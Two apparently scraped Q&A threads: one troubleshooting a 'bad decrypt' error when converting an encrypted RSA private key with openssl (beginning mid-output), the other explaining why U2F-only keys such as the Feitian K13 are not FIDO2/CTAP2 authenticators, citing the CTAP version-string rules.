59915:error:0906A065:PEM routines:PEM_do_header:bad decrypt:/SourceCache/OpenSSL098/OpenSSL098-47/src/crypto/pem/pem_lib.c:428:

/Users/mhaase/Downloads $ echo "CPV6TJwm5cMd1WeVupo2Lg==" | openssl base64 -d | openssl rsa -in FoundstoneClientCertificate.pem -out FoundstoneClientCertificate2.pem -passin stdin
unable to load Private Key
59909:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:/SourceCache/OpenSSL098/OpenSSL098-47/src/crypto/evp/evp_enc.c:330:
59909:error:0906A065:PEM routines:PEM_do_header:bad decrypt:/SourceCache/OpenSSL098/OpenSSL098-47/src/crypto/pem/pem_lib.c:428:

I found on a message board that this third party program doesn't use normal OpenSSL; it uses OpenSSL FIPS Object Module v1.2, which is a separate-but-related piece of software that has undergone U.S. federal testing and certification. So I went back to the server that generated this key and I ran openssl rsa -in foo.pem -out bar.pem and it asked for the passphrase, I pasted the base64 passphrase, and it worked!

According to the OpenSSL FIPS Object Module v1.2 User Guide:

  The FIPS Object Module provides an API for invocation of FIPS approved cryptographic functions from calling applications, and is designed for use in conjunction with standard OpenSSL 0.9.8 distributions beginning with 0.9.8j. Note: OpenSSL 1.0.0 is not supported for use with the OpenSSL FIPS Object Module. These standard OpenSSL 0.9.8 source distributions support the original non-FIPS API as well as a FIPS mode in which the FIPS approved algorithms are implemented by the FIPS Object Module and non-FIPS approved algorithms other than DH are disabled by default. These non-validated algorithms include, but are not limited to, Blowfish, CAST, IDEA, RC-family, and non-SHA message digest and other algorithms.

This indicates to me that it should be no problem for one version to decrypt keys that were encrypted by the other version. But my experience indicates otherwise. Am I missing something?

Firstly can you please check that in the initial PEM file it contains actual RSA private key. If you cat the contents of the file it should say something like this:

-----BEGIN RSA PRIVATE KEY-----

I highly suspect that the file you think is the private key does not actually contain a private key.

Depending on how the original system was using the certificate they may be a p12 file (certificate + chain and private key) somewhere which you could extract the key from. But if this was taken from a system running Apache then Admins and Devs like to give the key a .key extension and this would just be the actual RSA key not a p12.

As a side note I also suspect that the passphrase to the key is not the Base64 encoded version but a the actual decoded string which in this case is

  zL&g6.

If you do find a .key file then you don't need to do anything. You should be anble to issue the openssl s_client command and do a test connection to the server using client auth e.g.

openssl s_client -connect host:443 -cert cert_and_key.pem -key cert_and_key.pem

If you do need to extract the private key from a p12 please refer to this for further help:
https://stackoverflow.com/questions/9497719/how-to-extract-a-public-private-key-from-a-pkcs12-file-with-openssl-for-later-us


Why isn't U2F's CTAP protocol forwards-compatible with FIDO2's CTAP protocol? I've been trying to find the major differences between "U2F" versus "FIDO2" two-factor authentication standards. Reading some of the articles posted by different companies and even the FIDO site itself give the impression that the main work of the FIDO2 standard was the WebAuthn API, and that both U2F and FIDO2 are based on the "CTAP" protocol which at least one source [perhaps not a good one] claimed:

In the same release, FIDO also introduced CTAP2, which is basically the same as U2F but relaxes its requirements to also include mobile devices as acceptable external authenticators.

(Source: https[:]//doubleoctopus[.]com/blog/your-complete-guide-to-fido-fast-identity-online/)
So they're claiming the only thing CTAP2 did was "relax requirements" and the big changes were all in the browser side, i.e. exposing a new WebAuthn interface to JavaScript?
If that's the case then why can't all existing U2F keys be used as FIDO2 authenticators? Rationale:

We had Protocol A which said "you must X/Y/Z and your device can only be a USB dongle" — we called that "U2F".
We introduce Protocol A′ which says "this is Protocol A, still X/Y/Z except now your device can be a USB dongle or a mobile phone". At the same time say "hey btw we're giving websites a way to access to Protocol A′ devices". We called this all "FIDO2".

Now, if the only change [supposedly!] to Protocol A itself was "you're allowed to implement this protocol on mobile devices, now, too" then it would logically follow that any U2F device would be forward-compatible as a FIDO2 device:

it already does "X/Y/Z" (because those were required by the old rules too)
it already satisfies "must be a USB dongle or a mobile phone" (because the old rules were "must be a USB dongle").

But… not all U2F devices work as FIDO2 devices! For example, the Feitian K13 authenticator supports "FIDO U2F" but not "FIDO2". So the logic above must be incorrect — and I suspect the reason is that CTAP2 made more changes than the "Your Complete Guide to FIDO, FIDO2 and WebAuthn" article claims.
What specifically does the CTAP2 specification include beyond the "U2F" functionality that makes "FIDO2" possible?

The specification must encompass all roles in the authentication - including how the authenticator identifies itself - robustly across time (both backwards and forwards compatibility). Designing the protocol to be precise about that is the best way to achieve that robustness.
From https://fidoalliance.org/specs/fido-v2.0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html

If the authenticator implements CTAP1/U2F, the version information
SHALL be the string "U2F_V2", or 0x5532465f5632, to maintain
backwards-compatibility with CTAP1/U2F-only clients.

If the authenticator ONLY implements CTAP2, the device SHALL respond
with "FIDO_2_0", or 0x4649444f5f325f30.

If the authenticator implements both CTAP1/U2F and CTAP2, the version
information SHALL be the string "U2F_V2", or 0x5532465f5632, to
maintain backwards-compatibility with CTAP1/U2F-only clients.
CTAP2-aware clients may then issue a CTAP authenticatorGetInfo command
to determine if the device supports CTAP2 or not.

In other words, the Feitian K13 can't claim to "support" (be compatible via version information) FIDO2 ... but FIDO2 supports the Feitian K13.